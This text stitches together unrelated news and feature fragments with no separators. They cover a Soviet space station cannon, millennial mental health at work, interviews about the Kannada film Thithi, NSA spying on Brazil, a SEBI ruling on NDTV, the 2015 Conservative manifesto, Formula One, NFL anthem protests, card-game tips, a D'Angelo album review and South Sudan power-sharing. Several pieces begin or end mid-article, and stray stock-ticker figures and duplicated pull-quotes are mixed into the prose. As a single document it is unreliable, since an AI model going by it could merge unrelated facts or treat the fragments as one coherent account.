The weapon's development was assigned to the Moscow-based KB Tochmash design bureau led by Aleksandr Nudelman, whose engineers had distinguished themselves with many breakthroughs in the field of aviation weaponry since World War II. For this project, Nudelman's team developed a 14.5-millimeter rapid-fire cannon that reportedly could hit targets as far as two miles away. Depending who you ask, the 37-lb. weapon could fire from 950 to 5,000 shots per minute, blasting 200-gram shells at a velocity of 690 meters per second (1,500 miles per hour). According to veterans of the Almaz project, the space cannon successfully pierced a metal gasoline canister from a mile away during its ground tests.
The physics of space stations limited the weapon, though. Although cosmonauts could fire using an optical sight in their cockpit, they had to turn the entire 20-ton station to point the cannon toward its target.
They had to turn the entire 20-ton station to point the cannon toward its target.
Salyut-3 diagram. Wikimedia Commons
While R-23M had been in development since mid-1960s, the rest of the Almaz project dragged behind schedule. The station's fancy payloads and sensors took longer than anticipated, and in the meantime the idea itself got lukewarm support from the Soviet military, which was increasingly relying on unmanned satellites for all its space needs. NASA's Skylab was scheduled to launch in 1973, which meant the USSR faced the prospect of losing the race to put the first space station in orbit. So the Soviet government decided to build a small civilian outpost from off-the-shelf components of the Soyuz spacecraft and available Almaz hardware. The bread-and-butter orbital lab was successfully launched in 1971 under name Salyut.
After scoring the political points of winning the space station race, the Kremlin allowed the Almaz project to proceed, but "camouflaged" behind the civilian space stations. Until 1982, the USSR orbited a total of seven space stations under name Salyut, but three of these were actually Almaz spy stations. The Western intelligence and independent observers quickly figured out which was which, but the Almaz program officially remained under wraps until the end of the Cold War.
Only after the fall of the USSR did Russian sources revealed that the cannon had actually fired in orbit. It happened on Jan. 24, 1975, onboard the Salyut-3 space station. Worried about how firing a giant cannon would impact the outpost itself, Soviet officials scheduled the test firing just hours before the planned de-orbiting of the station, and long after the departure of the crew on July 19, 1974. The outpost ignited its jet thrusters simultaneously with firing the cannon to counteract the weapon's powerful recoil. According to various sources, the cannon fired from one to three blasts, reportedly firing around 20 shells in all. They burned up in the atmosphere, too.
The results of the tests still remain classified. However it appears that the follow-up Almaz station was to be equipped with a pair of interceptor missiles rather than a cannon. It didn't matter: The upgraded Almaz was permanently grounded before its scheduled launch in 1978.
In the intervening years, only one photo of the R-23M cannon has been published. However it now appears that photo depicted the aircraft-based R-23 or some early prototype of the space-based weapon.
Finally, last month, grainy and dimly lit TV footage of the space cannon appeared in the Voennaya Priemka, a military show produced by the Zvezda TV channel associated with the Russian Ministry of Defense. The space cannon episode was shot inside the limited-access corporate museum at KB Tochmash. Fortunately, a cameraman went 360 degrees around the cannon, enabling us to screen-grab views of all sides of the hardware. We then imported the visuals into a sophisticated 3D package and traced it with a digital mesh. The result was a virtual model of the R-23M canon, one of the most exotic and secretive weapons of the Cold War.
The actress canceled called out sick of a show this week because of a panic attack, and said on FB, -1.69% Instagram that these feelings had been building up. Though there have been so many ups and downs in her life in the past month, she said, the anxiety wasn’t something she could just “push through.” “Even Disney princesses are terrified sometimes,” she wrote.
The actress said Disney was supportive of her, and it’s not the only company to give employees a mental break when they need one.
When Michigan software developer Madalyn Parker alerted her team at work that she was taking time off for mental health, she got an unexpected response from her company’s chief executive officer: He applauded her decision.
He told Parker, who suffers from anxiety and post traumatic stress disorder, she was “an example to us all” for lowering the stigma around mental health and reminding people to use time off to support mental health. The response went viral, as young workers are increasingly adding mental health days to their personal days.
Millennials report higher rates of depression than any other generation and are now the biggest sector of the workforce.
Millennials report higher rates of depression than any other generation and are now the biggest sector of the workforce, creating new challenges in work culture and mental health treatment. Recent research shows depression is becoming more prevalent in younger women.
Between 2005 and 2014 the number of depressed teens jumped by more than half a million, three-fourths of which were teenage girls according to a recent study in the journal Pediatrics. These mental health struggles are extending themselves into the workplace, with millennial women far more likely than their male counterparts to experience burn out and depression.
More than 41 million Americans experience some type of mental illness in any given year, according to the Substance Abuse and Mental Health Services Administration, a branch of the U.S. Department of Health and Human Services in Washington, D.C. That presents a challenge for people with mental health issues who also work full-time. The Americans With Disabilities Act of 1990 prohibits discrimination based on mental health, which includes depression, and prevents companies asking applicants about their mental health. (Jobs such as pilots and air traffic controllers, however, do require more information under industry rules before employing people.)
Despite those protections under the law, not everyone wants to inform their employer about the specific reason for taking time off, but workplace experts say the more information human resources has about your case, the easier it is for the company to help.
Hannah, a 24-year-old marketing coordinator at a film company, has struggled with depression and anxiety since she was 17, but working at a 9 to 5 job in the last few years since she finished college has significantly worsened her illnesses. Although she has been in her current role for more than two years, she only recently told her human resources representative about what she was going through.
‘There is so much stigma around mental illness it feels like it’s not a valid excuse to not be able to work.’ Hannah, a 24-year-old marketing coordinator
She struggles with motivation on the job and the depression-related exhaustion she tries to combat by chugging coffee throughout the day, and she regularly has to take days off for her mental health. “There is so much stigma around mental illness it feels like it’s not a valid excuse to not be able to work,” said Hannah, who fears she will be judged by her current and future employers so much that she requested MarketWatch withhold her last name. “It’s funny to think about it but I was out for five full days with no problem because I had strep throat, but when I take one day for depression it feels like I’m cheating the system.”
Luckily, Hannah’s human resources representative was understanding and is allowing her to take time off periodically for mental health purposes — though she still says it’s unlikely she will address the issue with her boss, continuing to say she’s physically ill on mental health days due to fear of being judged. The fear is not unfounded: Her generation is constantly criticized for being lazy, self-entitled, and unable to handle work-life balance — all stigmas that come along with mental illness as well.
Mental health services saw a huge spike in demand the day after the 2016 election, and a study on medical interns (median age 27) from the University of Michigan’s stress and depression research center Sen Lab found the election had “an immediate and striking impact” on their mental health. Many cited fears the president would repeal the Affordable Care Act (ACA) and restrict women’s access to reproductive health services as major stressors. The ACA requires insurance plans to cover mental health services.
Today, employees struggle with picking the right health care plan for mental illness and talking with superiors about their issues.
Today, employees struggle with picking the right health care plan for mental illness and talking with superiors about their issues, often stressing over things like how to ask for a weekly appointment without appearing unmotivated, says Michelle Riba, director at the University of Michigan Depression Center.
Depression in the workplace manifests itself in a number of ways, including absenteeism — skipping out on work completely — and “presenteeism,” a lesser known problem when an employee does show up to work but is not working at full capacity due to underlying mood issues. Often people with untreated mental illnesses are unable to hold a job longer than six months and may lash out at customers or employers.
Don’t miss: Why more white-collar workers are at risk for suicide
Depression costs the U.S. economy more than $51 billion a year in absenteeism from work and lost productivity and $26 billion in direct treatment costs, according to mental illness nonprofit Mental Health America, but many employees — particularly millennials, are avoiding treatment due to stigma. “The worst part of it is an anxiety around missing work to take care of my mental health, or taking huge gaps out of my day to quell my anxiety,” said Clare, a 25-year-old who works in public relations and who also requested that MarketWatch withhold her last name.
Depression costs the U.S. economy more than $51 billion a year in absenteeism from work and lost productivity and $26 billion in direct treatment costs.
Another problem: How do you tell the difference between a bad day and a mental health day? “I have no real vocabulary around how to express when I’m having a bad mental health day, and so I have a lot of trouble adequately explaining that to my employers,” Clare said. “The end result is normally that I end up either at work performing decidedly below average while trying to muscle through or make up some reason to stay home and feel guilty all day.”
Clare believes some of the stressors specific to her generation are major reasons for the rise of depression and anxiety. This includes a rising cost of living, more pressure to do well, crippling student debt and even the divisive political climate. “There is a huge pressure for people to find their foothold in their dream careers much earlier — an anxiety to figure it out as fast as possible and find the dream job that meets all the goals,” she said. “Anything less feels like failure.”
There is more awareness of mental health issues, particularly among young people, experts say. This generation is not necessarily more depressed than workers of past generations, but more equipped to recognize it, Riba said. Mental health is increasingly being taught in high school and most universities now have mental health centers, decreasing the stigma of treatment. “We are seeing a whole new generation who is coming up having been more exposed to these issues than in their parents’ generation and want to figure out how they can stay healthy,” she said.
Employers can help by creating a culture at work that is accepting of these health problems, Riba said, not barraging people with emails after hours and learning to recognize signs of depression or anxiety in employees — improving their mental health as well as the company’s bottom line. Some companies even offer free meditation and yoga classes. Consumer goods company Unilever UL, -2.98% for example, includes training for senior employees to recognize potential problems and employee workshops on sleep, mindfulness and exercise.
This story was updated on April 20, 2018.
Ere Gowda
When was the seed of Thithi sown in your mind. Talk about the very first trigger for the film’s plot.
Working on Thithi was a detour from conventional filmmaking. There wasn’t any trigger as such. Raam (Reddy, Director) and I went to the village that we wanted the film to be based on. So, in a way the space was locked first. During this process I would tell Raam real stories from my life that were based around the village. Around this period my grandmother passed away. Soon after, my friend’s mother passed away. So, we started visiting those funerals and their Thithis (Last Rites). It was here that the film started developing in our minds.
READ: THE END OF THITHI IS VERY PERSONAL TO ME – RAAM REDDY
The film is character-driven. How did you come up with such layered characters? How much of it was penned and how much was improvised on set?
The story always took the lead. The characters came later. We were just looking for stories and during the course we met these people. The first character that we found was Gadappa who happens to be my uncle. He moved away from the village when I was a kid. He started living in a secluded hut with his family devoid of electricity. I was always curious about why he moved. I went to pay him a visit as a practice and Raam liked him. Most of the events shown in the film are references from real stories about real people. We met characters while loitering around in the village.
As far as writing a bound screenplay is concerned, there was none. The plot and story were very clear in our mind but since it was actual people playing the parts, we did not want to burden them with strict dialogues to follow. I would tell them the dialogues before the scenes. If they were not comfortable with any particular word from the dialogue I’d change it according to their convenience. So there was always a scope of improvisation on set.
My process starts with finding interesting characters and then placing them in a story with a conflict
Please talk about the collaboration with Raam Reddy and the process of writing drafts and redrafts. How do you cope with indulgence and edit in successive drafts?
It was an enriching experience working with Raam. I have worked with him since he was eleven. Since, there wasn’t any bound script we were open to ideas. I was present on location during all the shots. Since the content was very familiar to me there was a lot of clarity. The only trouble was to block the non-professional actors. They would get confused. That is where I would step in with my local dialect skill. I would befriend them and make them comfortable and change stuff according to the need of the hour. Those were our redrafts. Since nothing was rigid there was no scope of indulgence.
In one of your interviews I read that you had cast your actors first and then derived the screenplay. Please talk in detail about your approach.
I can write stories around characters. My process starts with finding interesting characters and then placing them in a story with a conflict. But the characters should be from my environment. For example, I cannot write a story about a software engineer. But yes, I can pick characters from different spaces and put them in my plot just the way it was done for Thithi. I operate around my own sensibility and I cannot wear someone else’s sensibilities and write. That would be fake. For Thithi, the one thing that really helped me was Raam’s brief after we had collected all the characters. He asked me, “Whether you are looking at a warm film or a cold film?” That became the key behind scripting.
In my next script I am following a similar approach, the only difference being that this time the space is different. So, I am working on placing my story in a different space from where the events have happened.
READ: THITHI SELECTED FOR TOP 3 CATEGORIES AT ASIA NEW TALENT AWARDS
Nithin Lukose
A lot of importance has been given to sound in Thithi. How did you plan it. What did your meetings with the director sound like?
The film doesn’t have background music (BGM). We wanted it to have a very natural sound and make very realistic cinema. With the first scene starting with the sound of the village, we set a tone for the film. It’s a fact that if you establish something with sound then that stays in the subconscious of the audience throughout the film. Raam and I spoke about it in the pre-production stage itself.
To block the noise during outdoor schedules for location sound recording is a big challenge. How did you manage this with the villagers?
The village wasn’t a very noisy place. But there were some sounds of people working on the fields that would trouble us. We faced this problem only in the initial four-five days. After that the villagers got to know that we were filming. The team was very focused and cooperative. The assistant directors and other crew helped in managing the sound blocking, if and when required. There were people in the crew who knew the local language and communicated with the locals. Things were in control after the first week and it became a smooth sail. The whole film was a sync-sound recording because it is really tough for non-professional actors to dub. So, it was a do or die situation for us.
READ: BEGINNER’S GUIDE TO SOUND DESIGNING
How did you mic the non-actors? Talk about familiarizing them with the equipment. Also how comfortable were the villagers with the sound equipment?
It was fun and challenging. There was a lady who I had to mic. Raam and I discussed and reached a conclusion that we mustn’t body-mic her as she may not be comfortable with the equipment. The male actors were comfortable with it from the beginning. Later on female actors also wore the body mic comfortably. They had understood the whole process of sound being captured in a mic and visuals in a camera. It was the first film to be shot in their village so their hesitation was natural.
Everyone in the village was very inquisitive. They would come and ask about the equipment. Everyone including the actors had a question around the boom rod. We used to make them understand the use of the equipment and they would happily cooperate. Since, it was their first exposure to filmmaking they were scared about the equipments. But gradually they became a part of the process.
The whole film was a sync-sound recording because it is really tough for non-professional actors to dub
Please talk about the equipment that you used and the motivation behind your choice. Also tell us about the overall process of designing and recording the sound for Thithi.
The recorder that we used was Sound Devices 788T. I had worked on it during my course in FTII. The recorder wasn’t easily available in Mumbai but eventually our vendor bought it for the shoot. Taking the correct equipment with us was imperative. So, Raam and I sat and decided on the microphones to be used for exterior and interior sequences. For the brass band sequence we carried stereo pair microphones to get a perspective of space. Basically the equipment was chosen based on the requirement of the space and the actors.
We took some wild takes of the brass band as well which are used in the credit roll. But apart from the credits all the sound that you hear in the film is diegetic. There were a lot of walking sequences in the film. So, we could not carry a trolley. Most of the equipment from boom to lapel microphones was wireless. So that it was easy for both the actors and me to move freely.
As far as the design is concerned it was decided in the preps that we wanted the film to be very realistic. We shot for six months in that village. During that period I got a good idea of how the village was sounding. The film design took seven months because there is no BGM and just diegetic music in the film. That became a difficult process because it is a very tricky zone to be in. In such films you have to design the sound in such a way that you do not miss music in frames. There were times when I wasn’t convinced about going without BGM. But eventually we were convinced that we did not need any external support.
Doron Tempert
The whole village in Thithi looks like a performance stage. You have even used lots of static long shots that enhance the stage performance feel. Yet it’s very cinematic. How did you balance this?
The stage feel is because we did not want to bring malice to the original visuals. We wanted the camera to be observational in nature. We did not want to apply our own sensibilities to the village life. We chose to shoot flat and in a non-judgemental manner. We aimed at making the visuals like paintings where one need not point out where to focus on. The viewer could pick freely what to see from a given frame.
Ram had a couple of critical instructions. One of them was to shoot at the horizontal axis of the eyeline of the characters. We were always shooting according to the height of the characters. We could look directly into their eyes and there was no power difference between them and us. This way we could shoot their real self.
We did not want to apply our own sensibilities to the village life
The film has an inherent wry humour to it. There are close ups of cattle that the editor has interestingly juxtaposed. How did you compose the shots?
(laughs) We knew those shots were difficult so we postponed them for quite some time. We spent lots of time with the cattle and tried different permutations and combinations. We would whistle and look at their responses. From there we got the trend and worked on it. It was fun shooting those shots because in most part of the film we have refrained from closeups except for the sequences that have humour. The sound design also played an important role.
The protagonist’s passings have been used as a tool. How did you work out the timing with him. Also how did you make the non-actors comfortable with camera and its equipments?
A lot of the time we were aware that it was a rhythm based film. Raam would give them the cue to enter and exit. It is one of the most difficult things to work out with non-professional actors as they cannot hit the marks correctly. But having said that I do not remember doing many retakes for such shots. The actors were smart and got the shots right. Of course we did create a rhythm in the edit as well.
As far as making villagers comfortable with the equipment is concerned, I don’t think it was a big problem for us. We were a small crew and we did not take over the village at any point of time. We had a lot of people from the village as a part of our crew. So, there was never a distance between us (crew and villagers). People were very understanding and regardless of me being a western guy, they got used to me very quickly. The crew also made them focus on their parts rather than the nitty-gritties of the shoot.
Please talk about the camera equipment – the camera, lights, lenses and filters used.
When we were planning the equipment we had a clarity that it had to be handy and hassle free. We also had clarity on how our film is going to look. We shot on the swedish-made Iconoscope cameras with a vintage lens. We contacted the C.E.O of Cooke for the particular zoom lens that we wanted. It was only manufactured in the 70’s and is one of the fastest Zoom lens ever made. For lights we used small L.E.D’s to create a natural look. We could not trust the power so we had lots of battery operated equipment. For filters we used ND. Most of the film was shot on ND6 and ND12 filters.
READ: THITHI WINS TWO TOP AWARDS AT THE PRESTIGIOUS LOCARNO FILM FESTIVAL
Compared to your previous works, what was the most interesting and different part of Thithi.
Personally for me living in a different culture for such a long time was an experience. In all of my previous work I was working in a familiar environment. An environment where I would know why people react a certain way. This was different. I was always inquisitive. We had a lot of fun. Since, we stayed for such a long time in the village, all of the crew bonded really well. On our off days we would go for a swim in the local river. It was a mixed crew with people from all around.
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The White House has admitted there are “legitimate questions” to be answered over US spying on its allies following claims that the National Security Agency (NSA) monitored the communications of Brazilian President Dilma Rousseff and hacked into the computer
networks of state-run oil company Petrobras.
Susan Rice, President Barack Obama's national security advisor, met Brazilian Foreign Minister Luiz Alberto Figueiredo at the White House on Wednesday as Washington attempts to smooth over relations with one of its key allies in South America.
During the meeting, Rice told Figueiredo that the United States understands Brazil’s anger over the alleged spying, based on information from NSA leaker Edward Snowden.
Rice acknowledged that certain disclosures "raise legitimate questions for our friends and allies about how these capabilities are employed”, said Caitlin Hayden, a spokeswoman for the White House’s National Security Council.
“The United States is committed to working with Brazil to address these concerns, while we continue to work together on a shared agenda of bilateral, regional and global initiatives,” Hayden said.
Rousseff: ‘I want to know everything that they have’
Whether the meeting will help heal the diplomatic rift between Brazil and the US over NSA spying remains unclear.
Brazilian President Dilma Rousseff has been among the most vocal foreign leaders expressing outrage over US surveillance of allies. "I want to know everything that they have, everything," she said.
She threatened to cancel an October state visit to Washington after documents revealed the US had been monitoring communications between Rousseff and her advisers.
After discussing the issue with Obama during an economic summit last week in St Petersburg, Russia, Rousseff asserted that spying on a friendly country was incompatible with democratic alliances. She said Obama had promised answers and told her he didn’t want her to cancel her trip.
The rift in US-Brazil relations deepened on Sunday after a report by Brazil’s Globo TV, based on leaked documents from Snowden, said the NSA also targeted the country’s state-run oil company, Petrobras.
Roussef said these allegations, if proved true, would amount to industrial espionage with no security justification.
"If the facts reported by the press are confirmed, it will be evident that the motive for the spying attempts is not security or the war on terrorism but strategic economic interests," Rousseff said in a statement.
Obama has been heavily criticized at home and abroad since Snowden disclosed secret details about telephone and e-mail information gathered by the NSA.
He has had to appease allies including Rousseff and German Chancellor Angela Merkel, and has pledged to improve oversight of the surveillance programs to try to restore trust in the system among Americans.
Promoters of companies are required to disclose to stock exchanges the details of shareholding and voting rights after every financial year, within seven working days after March 31. However, the promoters of NDTV – Prannoy Roy, Radhika Roy and promoter firm RRPR Holding Pvt Ltd – were alleged to have delayed the disclosure in 2012 by 64 days in the case of Bombay Stock Exchange, and one day for National Stock Exchange.
In its order on Monday, Sebi said the allegations do not “stand established”. The promoters would not be issued any monetary penalties, Sebi General Manager and Adjudicating Officer K Saravanan’s order said.
The Conservative Party has launched its manifesto ahead of the general election. The full document is available online. Here are the main things you need to know.
Key messages
Media playback is unsupported on your device Media caption David Cameron: "We are the party of working people"
The front page of the Conservative manifesto gives their three key messages for the election: "strong leadership", a "clear economic plan" and a "brighter, more secure future".
David Cameron adopted an upbeat tone at the launch, saying he wanted to offer people in the UK a "good life". He said he wanted to "finish the job" of economic reform, having "rescued" the economy when he took power in 2010. And he described the Conservatives as "the party of working people".
Key policies
Image copyright Getty Images Image caption New homes will be built under the pledges made in the manifesto
The main pledges in the manifesto combine previous announcements and some new policies, announced at the launch. Here are some of the most important:
Extension of the right-to-buy scheme to housing association tenants in England
Plans to build 200,000 starter homes
Ensuring all people who work 30 hours per week on the minimum wage pay no income tax
Doubling free childcare allowance for three and four-year-olds to 30 hours
Increasing the inheritance tax threshold on family homes to £1m by 2017
No above-inflation rises in rail fares until 2020
An extra £8bn a year for the NHS by 2020
Opening 500 more free schools
An EU referendum by 2017
Economy
The party says mortgages, schools, hospitals and pensions are some of things that depend on a "strong economy". The manifesto says the Conservative Party will continue with its "long-term economic plan". Pledges on the economy include:
Running a surplus by 2018 so that the UK "starts to pay down its debts"
No rise in VAT, national insurance contributions or income tax
A crackdown on tax evasion and the "aggressive" avoidance of tax
Creating a "Northern Powerhouse" through investment
Spending £100bn on infrastructure in the next Parliament
Jobs and investment
Image copyright PA Image caption Rules for strikes will be changed under the party's plans
The document says the Conservative Party is committed to helping people enjoy the "satisfaction and rewards of a decent job". Pledges include:
Achieving full employment by helping businesses create two million extra jobs over the course of the next Parliament
Creating 3 million new apprenticeships
Cutting £10bn of red tape over the next Parliament
Giving businesses "the most competitive taxes of any major economy"
Replacing Jobseeker's Allowance for 18-21 year-olds with a Youth Allowance time-limited to six months. After that, they will have to take an apprenticeship or traineeship or do community work to claim benefits
Requiring 40% of those entitled to take part in strike ballots to vote for a strike before industrial action can be held
Requiring companies with more than 250 employees to publish their gender pay gap - the difference between average pay for male and female employees
Increasing the minimum wage to £6.70 by the autumn and to £8 by the end of the decade
Investing £6.9bn in the UK's research infrastructure up to 2021
"Near universal superfast broadband" for rural areas
Taxation and welfare
The manifesto launch paid significant attention to plans to reduce tax for low-paid workers and increase benefits for working parents. Some of the main pledges in this area include:
Taking everyone who earns less than £12,500 out of income tax
Passing a new law that would mean all those working 30 hours a week and earning the minimum wage will not pay income tax on earnings
Raising the threshold for the 40p rate of tax so that nobody under £50,000 pays the rate
A freeze on working age benefits for two years from April 2016 (exemptions for disability and pensioner benefits)
Lowering the benefit cap from £26,000 to £23,000 (with exemptions for those receiving Disability Living Allowance or the Personal Independence Payment)
Giving working parents of three and four-year-olds 30 hours of free childcare a week
Immigration
Image copyright Getty Images Image caption The party will cap skilled migration from outside the EU at 20,700
The party says it still wants to see annual net migration in the tens of thousands. It pledges to reduce the incentive for EU migrants to settle in the UK by:
Negotiating new EU rules so people will have to be earning in the UK for four years before they can claim tax credits and child benefits
Introducing a four-year residency requirement for social housing for EU migrants
Ending the ability of EU jobseekers to claim any job-seeking benefits
Requiring EU jobseekers who have not found a job within six months to leave
The party says it will also:
Insist new EU member states' citizens do not have free movement rights "until their economies have converged much more closely with existing member states"
Cap the level of skilled migration from outside the EU at 20,700
Extend the "deport first, appeal later" principle to cover all immigration appeals and judicial reviews, apart from asylum cases
Education and the NHS
Image copyright Science Photo Library Image caption The Tories pledge to give people the right to a named GP
The Tories pledged at the weekend to spend an extra £8bn per year on the NHS. Other manifesto commitments include:
Investing £7bn over the course of the next Parliament to provide "good school places"
Opening at least 500 new free schools and turning failing schools into academies
Protecting the schools budget; increasing the amount spent on schools as the number of pupils increases
Scrapping the cap on higher education student numbers
Providing same-day GP appointments for over 75s
The right to a named GP
Integration of health and social care systems
Heritage, sports and government
Image copyright Getty Images Image caption The party pledges more powers for the Welsh Assembly
The party pledges to:
Keep major museums and galleries free to enter
Freeze the BBC licence fee
Guarantee those who work for a big company and the public sector entitlement to Volunteering Leave for three days per year
End taxpayer-funded six-figure pay-offs for the best-paid public sector workers
Reduce number of MPs to 600
Introduce English votes for English laws
Give English MPs a veto over matters only affecting England
Implement the recommendations of the Smith Commission, set up to consider new powers for Scotland after the independence referendum
Increase some powers for the Welsh Assembly
Devolve corporation tax powers to the Northern Ireland Assembly
Justice
The Conservatives pledge to:
Toughen sentencing and reform the prison system
Create a Victims' Law that will enshrine key rights for victims, including the right to make a personal statement and have it read in court before sentencing and before parole hearings
Scrap the Human Rights Act, and introduce a British Bill of Rights
Strengthen counter-terrorism powers
Create new Extremism Disruption Orders, which the party says would help target those trying to radicalise young people on social media
Pensions and inheritance
Pledges include:
Increasing the inheritance tax threshold for married couples and civil partners to £1m
Continuing to increase the state pension through the triple lock system, meaning it rises by at least 2.5%
Capping charges on residential care
Introducing a single-tier pension
Protecting pensioner benefits like free bus passes and the winter fuel payment
Foreign affairs and defence
As well as an in/out referendum on EU membership by the end of 2017, the party pledges to:
Protect the UK economy from further integration with the eurozone while reclaiming other powers from Europe
Uphold commitment to spend 0.7% of gross national income on international development
Maintain the size of the regular armed services and not reduce the Army to below 82,000
Expand armed forces reserves to 35,000
Retain Trident and build a new a new fleet of nuclear submarines
Others
Image copyright PA
Giving Parliament a free vote on repeal of the Hunting Act
Ending any new public subsidy for onshore wind farms
The party says it will respond to the Airports Commission's final report - but makes no specific reference to Heathrow expansion
What the other parties say
Labour leader Ed Miliband: "The reality about the Conservative Party is that they are the party not of working people. First, last and always they are the party of the richest in our society and that is absolutely the case with what they are saying today."
Lib Dem leader Nick Clegg: "I don't think a sudden, screeching U-turn where they now want to spray the country with warm words is going to in any way hide the fact that the Conservative Party wants to cut, cut, cut way beyond what is necessary."
UKIP leader Nigel Farage: "It's a re-hash of so much that was said in 2010 and has not been delivered upon, with a new initiative on housing which will do nothing to guarantee those homes go to British people or solve our housing crisis, and perhaps most worryingly of all no commitment to Britain's defence whatsoever."
SNP leader Nicola Sturgeon: "George Osborne and David Cameron have missed every single one of their fiscal targets. I agree we need to get the deficit down, but we need to do that in a way and at a pace that allows us also to invest in the NHS and growing our economy faster and lifting people out of poverty."
Other reaction
BBC political editor Nick Robinson: "This week of political cross-dressing goes on. David Cameron tried to re-brand the Conservatives as the party of working people - the day after Ed Miliband claimed that Labour was the party of economic responsibility." Read more from Nick here.
Institute for Fiscal Studies director Paul Johnson: "The prime minister confirmed - almost in passing - that the Conservatives are looking for a budget surplus by 2018. To get to budget surplus by 2018 will require tens and tens of billions of pounds worth of spending cuts or tax increases, and of course we got no detail whatever of what those might look like."
John Cridland, CBI director-general: "Progress has been made in cutting the deficit over this Parliament, and the Conservative Party's clear plans to continue the path of deficit reduction are welcome. Business will want clarity over how manifesto commitments will be funded."
The Telegraphs Will Heaven: "The Tory manifesto basically offers a "cradle-to-grave" approach, just like the founding document of the welfare state, the 1942 Beveridge Report. David Cameron's earlier speech also emphasised that theme. "We are the party of working people, offering you security at every stage of your life," he said. Ed Miliband, or any Labour leader since the Second World War, could have uttered that sentence. Because in 16 words, Mr Cameron has basically nicked the Labour Party's mission statement. He has stolen its soul."
For 2015, Spaniard Alonso has switched to McLaren-Honda, but Raikkonen is staying put and will be joined this year by his friend Sebastian Vettel.
Ferrari's champion of 2007, and having thrived at Lotus, Finn Raikkonen notably struggled alongside Alonso last year and Briton Fry thinks he knows why.
"There were two issues," he is quoted by Brazil's Totalrace.
"The first is that Fernando is more adaptable and the second is that the limitations of the car and tyres are especially difficult with Kimi's driving style.
"It was the same at McLaren," Fry added, having also worked with Raikkonen at the British team.
"He was very sensitive to the front of the car - when he and Montoya were together, I think we had about seven different front suspensions for the season.
The primetime Monday Night Football matchup between the Cowboys and Arizona Cardinals at the University of Phoenix Stadium was the last game on the NFL's schedule for the third week of the season following Mr. Trump's comments on Friday, when he suggested owners should fire players who kneel during the national anthem.
On Monday night, Jerry Jones, a known Trump supporter, linked arms and took a knee with the Cowboys for nearly 20 seconds before the national anthem, drawing ire from the home crowd in Arizona who profusely booed the team. During singer Jordin Sparks' rendition of the anthem, the Cowboys stood up while the Cardinals players interlocked arms with members of the military.
Dallas Cowboys owner Jerry Jones kneels with players prior to the national anthem prior to the game against the Arizona Cardinals at University of Phoenix Stadium on Mon., Sept. 25, 2017. Reuters
The NFL tweeted Monday night a video that shows the moment of unity from both teams:
Prior to the National Anthem, the @DallasCowboys and @AZCardinals shared a moment of unity on the field. pic.twitter.com/RSWQwHTyeD — NFL (@NFL) September 26, 2017
Before the game, Dallas Cowboys executive vice president Charlotte Jones Anderson told ESPN's Lisa Salters the team would take a knee as "a statement on equality and representation of unity" but the "players were adamant about separating that message from the national anthem."
The White House on Monday defended President Trump's criticism of players who don't stand up for the anthem.
"I think that it's always appropriate for the president of the United States to defend our flag, to defend the national anthem and to the defend the men and women who fought and died to defend it," White House press secretary Sarah Huckabee Sanders said.
"Huge divide" over NFL anthem protests
NFL players and executives alike banded together on Sunday by kneeling, raising fists, locking arms or staying in the locker room during the "Star-Spangled Banner" in defiance of Mr. Trump's remarks. Reaction to the president's comments and the league wide-protest in the NFL spilled over to the rest of the sports world, where prominent athletes such as NBA champion LeBron James and NASCAR star Dale Earnhardt Jr. weighed in on the controversy.
When deciding which cards you want, there's some guideline questions you can ask yourself to lead you to the perfect card you want to select. Questions like
Do I need this card? Will I use it in PVP or use it to Farm?
Was I able to get the desired amount of copies of this card?
What’s the availability of this card? Will it return in the near future? How hard is it to get?
How can you utilize the prismatic effect?
Are just a few you can ask.
>>>Purchase D’Angelo – Black Messiah (via iTunes)
Ho. Lee. Shit. I don’t know if I ever imagined I’d be in the position to actually tell someone that the D’Angelo had finally delivered on everyone’s except his own promise to redeem soul music wholly and forever with the follow-up to his turn-of-the-century masterpiece Voodoo. Well, good people of the Okay realm and abroad, it is with exultant joy and humility that I can say the day is here. And it’s every bit as sweet as I always dreamed it would be.
It’s not like we weren’t forewarned or anything. If the last 14 years of our lives have proven anything, it’s that every 7-8 months or so someone you know (mostly Questlove) will chime in with the “Oh, I heard that new D from my boy who’s engineering the record. Shit is crazy!” whispers to set the jones in. But it wasn’t just Questo’s chirps and nudges that put the bug in us. Back in 2010, before the initial European tour, before the musical magnificence that was the Brothers In Arms tour, before Russell Elevado criminally teased us with 6-second clips from the studio, even before that spacey P-funked-out cover of Sound Garden’s “Black Hole Sun” mysteriously surfaced, OKP alum DJ Brainchild sat with the man himself and heard the words straight from the source :
“I just want them to know that I’m coming. That’s all. I’m in the kitchen and I’m cooking up something real nice.”
And now we’re faced with what once seemed virtually unimaginable; a full-fledged answer to 14 years of prayers. Who would’ve thought that a man that once claimed to be so detached from the digital landscape could manage to out-Beyoncé Beyoncé? Familiar Soulquarians like Questlove, Q-Tip and newcomer Kendra Foster make appearances (especially in the album’s writing credits). But what’s to say for this new, prism? This masterful blend of classic and contemporary soul, funk and blues, forged by years of refinement.
Listen, I’m not even trying to put forth that this is the end all, be all album of our lives or that the rest of the industry should just pack up their shit and quit But as a mid-twenties D’liever who took to Voodoo like an inmate to 5% Nation after high-school and got through his first years of college reading Questo’s Voodoo Diaries over and over again, this shit is monumental.
Lucky for you and me and the rest of the damn world, our very own Editor-In-Chief Eddie “STATS” was amongst the “first to worship” at the ultra-exclusive listening party, which took place in NYC just a few hours ago. You can read his thorough track-by-track review of the album as it was being played for the very first time below. Just be sure that come midnight you’ve got your card out, ’cause Black Messiah waits for no man or woman. The 15-years-in-the making follow-up to Voodoo hits iTunes at 12:00AM EST with CD and 2xLP vinyl release coming next week. Get your first taste of D’Angelo’s finally realized resurgence with a companion script below and check back at midnight for the link. May D be with you, good people. – Zo
>>>Buy Black Messiah on iTunes Now
Nelson George introduced the album by saying: “There’s been a lot of narratives around D’Angelo’s career but what hasn’t been said is how smart and politically conscious this cat is…the lyrics are really going to be your guide to what you’re hearing.” Then he passed the mic to Questlove and asked him to speak on the recording, which Questo promised he would “very briefly,” adding “because I *really want to play this record.” To which George replied: “I know you do.”
Still those few words are still worth recording here, however:
“All the answers are in the record. It’s everything; it’s beauty, it’s ugly. It’s lies, it’s truth…it’s everything.”
As part of the agreement, 10 ministries will be handed over to the Sudan People's Liberation Movement-In Opposition (SPLM-IO) led by former vice president Riek Machar. Another two ministries will be given to the so-called SPLM former detainees – politicians who were jailed at the outbreak of fighting and later released – and 16 ministries will be retained by the government. No timeline has been provided as to when ministers will take up their posts. The announcement of ministerial posts is a key part of the creation of a national unity government.
Ministerial posts will be shared between the government and rebels, President Salva Kiir announced on Friday. The power-sharing arrangement is part of a peace deal signed last August and is a step towards ending the country’s civil war.
